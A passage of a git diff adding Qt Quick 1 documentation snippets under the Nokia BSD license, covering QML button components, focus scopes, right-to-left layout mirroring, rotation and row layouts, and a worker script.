+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+//contents of Button.qml
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ id: button
+//! [properties]
+ width: 145; height: 60
+ color: "blue"
+ smooth: true; radius: 9
+ property alias text: label.text
+//! [properties]
+//! [object alias]
+ property alias label: label
+//! [object alias]
+ border {color: "#B9C5D0"; width: 1}
+
+ gradient: Gradient {
+ GradientStop {color: "#CFF7FF"; position: 0.0}
+ GradientStop {color: "#99C0E5"; position: 0.57}
+ GradientStop {color: "#719FCB"; position: 0.9}
+ }
+//![text]
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Click Me!"
+ font.pointSize: 12
+ color: "blue"
+ }
+//![text]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(text + " clicked")
+ }
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+//! [ellipses]
+ //...
+//! [ellipses]
+
+
diff --git a/doc/src/snippets/qtquick1/reusablecomponents/application.qml b/doc/src/snippets/qtquick1/reusablecomponents/application.qml
new file mode 100644
index 0000000000..4fd8ed2bf6
--- /dev/null
+++ b/doc/src/snippets/qtquick1/reusablecomponents/application.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 175; height: 350
+ color: "lightgrey"
+
+ Column {
+ anchors.centerIn: parent
+ spacing: 15
+ Button {}
+ Button {text: "Me Too!"}
+ Button {text: "Me Three!"}
+//! [grouped property]
+ Button {label.color: "green"}
+//! [grouped property]
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/reusablecomponents/component.qml b/doc/src/snippets/qtquick1/reusablecomponents/component.qml
new file mode 100644
index 0000000000..8660c50fd7
--- /dev/null
+++ b/doc/src/snippets/qtquick1/reusablecomponents/component.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ id: screen
+ width: 175; height: 175
+ color: "lightgrey"
+
+//! [define inline component]
+ Component {
+ id: inlinecomponent
+ Rectangle {
+ id: display
+ width: 50; height: 50
+ color: "blue"
+ }
+ }
+//! [define inline component]
+//! [create inline component]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ inlinecomponent.createObject(parent)
+
+ var second = inlinecomponent.createObject(parent)
+
+ var third = inlinecomponent.createObject(parent)
+ third.x = second.width + 10
+ third.color = "red"
+ }
+ }
+//! [create inline component]
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml b/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml
new file mode 100644
index 0000000000..2522a9891e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/reusablecomponents/focusbutton.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+//contents of focusbutton.qml
+import QtQuick 1.0
+
+//! [parent begin]
+FocusScope {
+//! [parent begin]
+
+ //! [expose visuals]
+ //FocusScope needs to bind to visual properties of the children
+ property alias color: button.color
+ x: button.x; y: button.y
+ width: button.width; height: button.height
+ //! [expose visuals]
+
+ //! [rectangle begin]
+ Rectangle {
+ //! [rectangle begin]
+ id: button
+ //! [properties]
+ width: 145; height: 60
+ color: "blue"
+ smooth: true; radius: 9
+ property alias text: label.text
+ //! [properties]
+ border {color: "#B9C5D0"; width: 1}
+
+ gradient: Gradient {
+ GradientStop {color: "#CFF7FF"; position: 0.0}
+ GradientStop {color: "#99C0E5"; position: 0.57}
+ GradientStop {color: "#719FCB"; position: 0.9}
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Click Me!"
+ font.pointSize: 12
+ color: "blue"
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(text + " clicked")
+ }
+ //! [rectangle end]
+ }
+ //! [rectangle end]
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+//! [ellipses]
+ //...
+//! [ellipses]
+
+
diff --git a/doc/src/snippets/qtquick1/reusablecomponents/qmldir b/doc/src/snippets/qtquick1/reusablecomponents/qmldir
new file mode 100644
index 0000000000..253732de01
--- /dev/null
+++ b/doc/src/snippets/qtquick1/reusablecomponents/qmldir
@@ -0,0 +1,4 @@
+//! [document]
+Button ./Button.qml
+FocusButton ./focusbutton.qml
+//! [document]
diff --git a/doc/src/snippets/qtquick1/righttoleft.qml b/doc/src/snippets/qtquick1/righttoleft.qml
new file mode 100644
index 0000000000..c2e504a999
--- /dev/null
+++ b/doc/src/snippets/qtquick1/righttoleft.qml
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+import "righttoleft"
+
+Column {
+ width: 200
+//![0]
+// automatically aligned to the left
+Text {
+ text: "Phone"
+ width: 200
+}
+
+// automatically aligned to the right
+Text {
+ text: "خامل"
+ width: 200
+}
+
+// aligned to the left
+Text {
+ text: "خامل"
+ horizontalAlignment: Text.AlignLeft
+ width: 200
+}
+
+// aligned to the right
+Text {
+ text: "خامل"
+ horizontalAlignment: Text.AlignLeft
+ LayoutMirroring.enabled: true
+ width: 200
+}
+//![0]
+
+//![1]
+// by default child items are positioned from left to right
+Row {
+ Child {}
+ Child {}
+}
+
+// position child items from right to left
+Row {
+ layoutDirection: Qt.RightToLeft
+ Child {}
+ Child {}
+}
+
+// position child items from left to right
+Row {
+ LayoutMirroring.enabled: true
+ layoutDirection: Qt.RightToLeft
+ Child {}
+ Child {}
+}
+//![1]
+
+//![2]
+Item {
+ height: 50; width: 150
+
+ LayoutMirroring.enabled: true
+ anchors.left: parent.left // anchor left becomes right
+
+ Row {
+ // items flow from left to right (as per default)
+ Child {}
+ Child {}
+ Child {}
+ }
+}
+//![2]
+
+//![3]
+Item {
+ height: 50; width: 150
+
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: true
+ anchors.left: parent.left // anchor left becomes right
+
+ Row {
+ // setting childrenInherit in the parent causes these
+ // items to flow from right to left instead
+ Child {}
+ Child {}
+ Child {}
+ }
+}
+//![3]
+
+//![4]
+Rectangle {
+ color: "black"
+ height: 50; width: 50
+ x: mirror(10)
+ function mirror(value) {
+ return LayoutMirroring.enabled ? (parent.width - width - value) : value;
+ }
+}
+//![4]
+
+//![5]
+Image {
+ source: "arrow.png"
+ mirror: true
+}
+//![5]
+}
diff --git a/doc/src/snippets/qtquick1/righttoleft/Child.qml b/doc/src/snippets/qtquick1/righttoleft/Child.qml
new file mode 100644
index 0000000000..48cb295587
--- /dev/null
+++ b/doc/src/snippets/qtquick1/righttoleft/Child.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 50; height: 50
+ color: "black"
+ Text {
+ color: "white"
+ text: String.fromCharCode(65 + Math.floor(26*Math.random()))
+ anchors.centerIn: parent
+ }
+}
diff --git a/doc/src/snippets/qtquick1/rotation.qml b/doc/src/snippets/qtquick1/rotation.qml
new file mode 100644
index 0000000000..8ce53ec2ea
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rotation.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [0]
+import QtQuick 1.0
+
+Row {
+ x: 10; y: 10
+ spacing: 10
+
+ Image { source: "pics/qt.png" }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 }
+ smooth: true
+ }
+ Image {
+ source: "pics/qt.png"
+ transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 }
+ smooth: true
+ }
+}
+//! [0]
diff --git a/doc/src/snippets/qtquick1/rotationanimation.qml b/doc/src/snippets/qtquick1/rotationanimation.qml
new file mode 100644
index 0000000000..479642a7f5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/rotationanimation.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 300
+
+ Rectangle {
+ id: rect
+ width: 150; height: 100; anchors.centerIn: parent
+ color: "red"
+ smooth: true
+
+ states: State {
+ name: "rotated"
+ PropertyChanges { target: rect; rotation: 180 }
+ }
+
+ transitions: Transition {
+ RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: rect.state = "rotated" }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/row.qml b/doc/src/snippets/qtquick1/row.qml
new file mode 100644
index 0000000000..e6cf06193f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/row.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 320; height: 110
+ color: "#c0c0c0"
+
+ Row {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+
+ spacing: 5
+
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "#024c1c" }
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "#42a51c" }
+ Rectangle { width: 100; height: 100; radius: 20.0
+ color: "white" }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/row/row.qml b/doc/src/snippets/qtquick1/row/row.qml
new file mode 100644
index 0000000000..5d39047432
--- /dev/null
+++ b/doc/src/snippets/qtquick1/row/row.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Row {
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/script.js b/doc/src/snippets/qtquick1/script.js
new file mode 100644
index 0000000000..f55dee3507
--- /dev/null
+++ b/doc/src/snippets/qtquick1/script.js
@@ -0,0 +1,4 @@
+WorkerScript.onMessage = function(message) {
+ // ... long-running operations and calculations are done here
+ WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y })
+}
diff --git a/doc/src/snippets/qtquick1/sequentialanimation.qml b/doc/src/snippets/qtquick1/sequentialanimation.qml
new file mode 100644
index 0000000000..cafe437838
--- /dev/null
+++ b/doc/src/snippets/qtquick1/sequentialanimation.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
